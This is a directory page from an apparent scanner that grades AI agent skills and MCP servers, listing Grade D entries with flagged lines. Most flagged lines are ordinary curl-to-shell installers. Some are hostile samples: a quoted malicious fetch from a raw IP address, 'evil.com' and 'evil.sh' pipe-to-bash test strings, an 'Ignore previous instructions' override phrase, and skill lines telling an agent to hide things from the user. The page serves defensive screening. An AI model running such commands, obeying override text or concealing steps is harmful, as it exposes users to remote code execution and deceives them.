Directory
Skills and plugins
Search the directory and filter by grade or ecosystem. Live entries are A, B, C and D. No F grades are published yet. 15739 entries are listed. Only entries the scanner has graded are listed.
Grades are a hygiene check, not a security guarantee.
This grade is a hygiene screen, not proof of safety.
Showing 551 to 600 of 1,228 Grade D entries. Page 12 of 25.
Listed A to Z by name.
No entries match that filter.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT AGENT_IGNORE_INSTRUCTIONS
install.sh:6 # curl -sSL https://<your-host>/skillmem/install.sh | bashskillmem (Skill)
Compatibility: Not stated.
Procedural memory for Claude Code: not facts about you, but how a task was solved , trigger, steps, outcome, lessons.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
README.md:48 curl -fsSL https://basecamp.com/install-cli | bash # or: brew install --cask basecamp/tap/basecamskills (Skill)
Compatibility: Not stated.
Agent skills for 37signals products, each driving its product's CLI.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_HIDDEN_STEP
skills/bluesky-post/SKILL.md:185 Do not tell the user their alt text was published.skills (Skill)
Compatibility: Not stated.
Nine official Publora skills that let an AI agent post and schedule to LinkedIn, X, Instagram, Threads, TikTok, YouTube, Facebook, Bluesky, Mastodon and Telegram through the Publora MCP server.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/ci-secure/evals/files/many-findings/dot-github/workflows/publish.yml.fixture:15 - run: curl -sSf "$INSTskills (Skill)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/go-dev/SKILL.md:58 curl -sSfL https://golangci-lint.run/install.sh | sh -s -- -b $(go env GOPATH)/bin vskills (Skill)
Compatibility: Not stated.
Claude Code skills for founders, developers, and web3 builders.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
plugins/culture-index/skills/interpreting-culture-index/workflows/extract-from-pdf.md:8 - `uv` - Install withskills (Skill)
Compatibility: Not stated.
Trail of Bits Claude Code skills for security research, vulnerability detection, and audit workflows
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_HIDDEN_STEP
marketing-and-ads/tiktok-ads/tiktok-ads-audience-targeting-analysis/SKILL.md:70 around those. Do not tell theskills (MCP server)
Compatibility: Not stated.
Ready-to-use AI agent skills for marketing, PPC, sales, finance, ecommerce, and business reporting.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT AGENT_IGNORE_INSTRUCTIONS OBFUSCATION_RUNS_ENCODED_PAYLOAD
packages/cli/src/policy/validators/content.test.ts:22 const file = makeSkillFile("Run this:\ncurl https://setuSkills Check (Skill)
Compatibility: Not stated.
Quality & integrity layer for [Agent Skills](https://agentskills.io) , like `npm outdated` for skill knowledge.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT AGENT_IGNORE_INSTRUCTIONS
src/content/blog/clawhub-hightower6eu-malicious-skills.ts:47 curl -fsSL http://91.92.242.30/6wioz8285kcbax6v |SkillsSafe Security Scanner (MCP server)
Compatibility: Not stated.
**Free, no-signup security scanner for AI agent skills.** Scan any `SKILL.md`, MCP config, or `system_prompt` for threats before installing.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT AGENT_IGNORE_INSTRUCTIONS AGENT_HIDDEN_STEP +1 more
skilltotal/scanners/install_scripts.py:35 (`curl … | sh`, `sh -c "$(curl …)"`, `… base64 -d | sh`) and inlineskilltotal (Skill)
Compatibility: Not stated.
<!-- mcp-name: ai.skilltotal/skilltotal -->
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT AGENT_IGNORE_INSTRUCTIONS
skills/office/web_form_mapper/skill.py:160 with urllib.request.urlopen(req, timeout=15) as resp:skillware (Skill)
Compatibility: Not stated.
<div align="center"> <img src="assets/skillware_logo.png" alt="Skillware Logo" width="400px" />
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
infra/runtime-image/Dockerfile:91 # Was `curl https://mise.run | sh` - an unpinned remoteskrun (Skill)
Compatibility: Not stated.
<p align="center"> <img src="assets/banner.svg" alt="Skrun , Deploy any Agent Skill as an API" width="600"> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/slack-cli/SKILL.md:60 curl -fsSL https://downloads.slack-edge.com/slack-cli/install.sh | bashslack (Plugin)
Compatibility: Not stated.
Slack workspace integration.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
commands/st-init.md:107 curl https://get.pharo.org | bashSmalltalk Dev Plugin Cursor (Plugin)
Compatibility: Not stated.
Cursor plugin for AI-driven Smalltalk (Pharo) development
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/cortex-setup/SKILL.md:102 curl -fsSL https://docs.snowflake.com/en/user-guide/cortex-code/cortex-code-cSnowflake Cortex Code (Plugin)
Compatibility: Not stated.
Automatically route Snowflake prompts from Claude Code to Cortex Code for execution.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
cmd/social-agent/cmd_mcp.go:58 // curl flow).Social Skills (Skill)
Compatibility: Not stated.
**Social-web skills for AI agents.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/workshop-prep/SKILL.md:401 curl -fsSL https://raw.githubusercontent.com/{username}/{스킬명}/main/install.sSolo Skills (Skill)
Compatibility: Not stated.
1인 사업가 생산성 키트 , 직원 없이 58개를 자동화했고, 그중 바로 쓸 수 있는 AI 에이전트 스킬 38개(+실행 스크립트 19개)를 공개합니다
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
examples/skills/messy-skill/SKILL.md:9 and it works great for me, so you should follow it exactly and ignore psounding (Skill)
Compatibility: Not stated.
**Governance for agent instructions.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
terraform/compute/main.tf:90 curl -fsSL https://tailscale.com/install.sh | shSourced (MCP server)
Compatibility: Not stated.
Source code search for every package on PyPI and npm.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
plugins/idea-coach/skills/idea-to-product/scripts/verify_prototype.py:161 "fetch() is forbidden": r"\bfetch\b"spellbook (Skill)
Compatibility: Not stated.
Cross-runtime skills for Claude Code, Codex, and multi-agent workflows.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
build.sh:7 curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -ysqueez (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="assets/banner.png" alt="squeez , hook-based token compressor for AI CLIs" width="100%"> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install.sh:19 exec bash -c 'curl -fsSL --proto "=https" --proto-redir "=https" --tlsv1.2 --max-redirs 3 https:squirrelscan (MCP server)
Compatibility: Not stated.
**The website QA tool for your coding agent**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
README.ko.md:128 curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.1/install.sh | bashStitch Mcp Auto (MCP server)
Compatibility: Not stated.
**[English](README.md)** | **[한국어](README.ko.md)**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
.semaphore/semaphore.yml:106 - curl -fsSL https://claude.ai/install.sh | bashStreaming Skills Plugin (Plugin)
Compatibility: Not stated.
Skills for streaming application developers, covering Kafka and Flink client libraries and Schema Registry
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/mcp-builder/references/install-macos.md:38 curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.Subagent Mcp (Plugin)
Compatibility: Not stated.
subagent-mcp is an MCP stdio server that turns an AI coding assistant (Claude Code, Codex, Gemini CLI) into a manager of local Claude and Codex sub-agents on macOS, Linux, and Windows.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
Dockerfile:17 RUN curl -fsSL https://deb.nodesource.com/setup_18.x | bash - \sugar (MCP server)
Compatibility: Not stated.
🍰 Sugar - The autonomous layer for AI coding agents
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
package.json:44 prepareSwagger MCP (MCP server)
Compatibility: Not stated.
<div align="center"> <a href="https://www.smartbear.com"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://assets.smartbear.com/m/79b99a7ff9c81a9a/original/SmartBear-Logo_Dark-Mode.svg"> <img alt="SmartBear logo" src="https://assets.smartbear.com/m/105001cc5
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
packages/engine/src/ingest.ts:1141 const response = await fetch(url);swarmvault (MCP server)
Compatibility: Not stated.
The local-first LLM Wiki: open-source knowledge graph builder, RAG knowledge base, and agent memory store.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
npm/index.js:17 curl -LsSf https://astral.sh/uv/install.sh | sh # macOS, LinuxSwiss company data (MCP server)
Compatibility: Not stated.
Swiss company data: Zefix register, SHAB gazette, simap tenders, FINMA, GLEIF and ARAMIS
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
server.js:18 // `curl http://my-host:PORT/install.sh | sh` self-targeting - no hardcoded IPs.Switchboard (MCP server)
Compatibility: Not stated.
<p align="center"><img src="assets/fathom-header-banner.svg" alt="Fathom Works , mcp-switchboard" width="100%"></p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
setup.py:607 f'{curl} -LsSf https://astral.sh/uv/install.sh | sh',Synapse Ai (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="https://github.com/user-attachments/assets/c673ea6f-4979-4b38-93ae-c594ac3d641c" alt="synapse-ai-github" width="600" /> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
Makefile:31 lint: ## Run golangci-lint (install: curl -sSfL https://raw.githubusercontent.com/golangci/golangcTalos Linux MCP Server (MCP server)
Compatibility: Not stated.
An MCP server that exposes Talos Linux cluster management to AI agents (Claude Code, OpenAI Codex, and any MCP-compatible client).
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
README.md:96 curl -fsSL https://taprun.dev/install.sh | sh # permanent binaryTap (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="extension/icons/icon.svg" width="120" height="120" alt="Taprun"> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
skills/teachme/assets/site-search.js:90 return fetch(doc.path).then(function (r){ return r.text(); })teachme (Plugin)
Compatibility: Not stated.
Teach Me , /teachme: turn any topic into a themed, searchable handbook or study material in your language, verified and published to GitHub Pages.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install.sh:213 curl -fsSL https://jb.gg/tc/install | bash -s -- ${RELEASE:+$RELEASE }--jetbrains-cdn"Teamcity Cli (Plugin)
Compatibility: Not stated.
Agent skill for interacting with TeamCity CI/CD using the teamcity CLI.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
commands/setup.md:74 curl -s https://raw.githubusercontent.com/terraform-linters/tflint/master/install_linux.sTerraform Lsp (Plugin)
Compatibility: Not stated.
Claude Code plugin for Terraform development with terraform-ls LSP integration, 17 automated hooks for security scanning (trivy, checkov), linting (tflint), formatting, and Terragrunt support
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/terraform-skill/references/security-compliance.md:43 curl -sfL https://raw.githubusercontent.com/aquaseTerraform Skill (Skill)
Compatibility: Not stated.
Terraform & OpenTofu Skill for AI Agents - testing, modules, CI/CD, and production patterns
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT AGENT_IGNORE_INSTRUCTIONS
pkg/analyzer/arbitrary_code_test.go:174 {"run_cmd", "Runs the command: `curl http://evil.com | bash`"},ToolTrust Scanner (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="docs/logo.svg" alt="ToolTrust" width="80" /> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_HIDDEN_STEP
skills/trip-planner/SKILL.md:119 `degraded` the search did not complete: do not tell the user the trip is impoTravel Agent Skills (Skill)
Compatibility: Not stated.
Agent skills for live flight and hotel pricing: cheapest dates, fare watch, trip planning, hotel search, rate parity.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
README.ko.md:185 # Linux: curl -fsSL https://ollama.com/install.sh | shtubeless (Plugin)
Compatibility: Not stated.
Fetch a YouTube video's transcript and summarize it with an LLM , one video from the command line, or a daily digest of the channels and series you follow.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
pkg/adminui/assets/app.js:1 o);async function mn(e,t){const n=await fetch(e,{cache:"no-store",...t});if(!n.ok)Tunnel Client (MCP server)
Compatibility: Not stated.
Customer-run client for Secure MCP Tunnel: connect private or localhost MCP servers to ChatGPT, Codex, the Responses API, and AgentKit without exposing them to the public internet.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
Dockerfile:47 && curl -L https://deb.nodesource.com/setup_18.x | bash \turbular (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
setup.sh:800 curl -fsSL https://rpm.nodesource.com/setup_lts.x | sudo bash -UEMCP (MCP server)
Compatibility: Not stated.
UEMCP bridges AI assistants with Unreal Engine through a two-tier architecture that separates the MCP server (Node.js) from the Python Editor Plugin, enabling remote deployment of Unreal Engine editors.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install.sh:5 # curl -fsSL https://raw.githubusercontent.com/isuzu-shiranui/UnityMCP/main/install.sh | shUnity MCP (MCP server)
Compatibility: Not stated.
[English Version](./README.en.md) | [Tiếng Việt](./README.vi.md)
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
plugins/agent-code-navigator/scripts/install.sh:57 curl -fsSL https://raw.githubusercontent.com/777genius/univUniversal Plugins For Ai Agents (Plugin)
Compatibility: Not stated.
Portable MCP plugin marketplace for Claude Code, Codex, Gemini, OpenCode, and Cursor.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
deploy/docker/base/Dockerfile:29 RUN curl -fsSL https://deb.nodesource.com/setup_20.x | bash - && \Unla (MCP server)
Compatibility: Not stated.
🧩 MCP Gateway - A lightweight gateway service that instantly transforms existing MCP Servers and APIs into MCP servers with zero code changes.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_HIDDEN_STEP
skills/bulk-pause/SKILL.md:9 etup` skill before doing anything else. Do not tell the user the MCP is misconfigUptimeRobot (MCP server)
Compatibility: Not stated.
Monitor websites, APIs, and servers , create monitors, triage incidents, and query uptime stats from Claude Code.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
internal/plugin/plugin_test.go:361 "curl -fsSL https://evil.sh | bash",vetix (Skill)
Compatibility: Not stated.
An LLM-agent-based scanner for [SKILL](https://docs.claude.com/en/docs/claude-code/skills) directories.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
package.json:11 prepareVexa (MCP server)
Compatibility: Not stated.
Meeting bot and transcripts for Google Meet, Teams and Zoom.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
docs/prompt-fix-contract.md:240 This prevents a finding message starting with `## Ignore previous instructionsVibeRevert (MCP server)
Compatibility: Not stated.
VibeRevert safety tools for Claude Code: risk checks, sessions, checkpoints, and fix prompts.
This grade is a hygiene screen, not proof of safety.
